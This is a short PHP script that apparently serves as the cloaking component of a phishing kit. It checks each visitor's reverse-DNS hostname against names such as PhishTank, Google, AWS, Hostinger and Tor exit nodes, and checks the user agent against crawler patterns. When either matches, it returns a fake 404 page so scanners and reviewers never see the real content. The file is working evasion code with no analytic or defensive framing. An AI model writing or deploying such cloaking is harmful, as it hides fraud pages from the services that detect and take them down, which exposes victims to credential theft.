<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : "";

$loader_1 = array("abot", "dbot", "ebot", "fbot", "gbot", "hbot", "ibot", "jbot", "kbot", "lbot", "mbot", "nbot", "obot", "pbot", "qbot", "rbot", "sbot", "tbot", "ubot", "vbot", "wbot", "xbot", "ybot", "zbot", "/bot", "-bot", ":bot", "crawl", "slurp");
$palabras = array("teledata-fttx.de", "hostinger", "amazonaws", "google", "tor-exit", "phishtank");

foreach ($palabras as $word) {
    if (strpos($hostname, $word) !== false) {
        header("HTTP/1.0 404 Not Found");
        echo "<html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1></body></html>";
        exit;
    }
}

foreach ($loader_1 as $botword) {
    if (strpos($user_agent, $botword) !== false) {
        header("HTTP/1.0 404 Not Found");
        echo "<html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1></body></html>";
        exit;
    }
}
?>
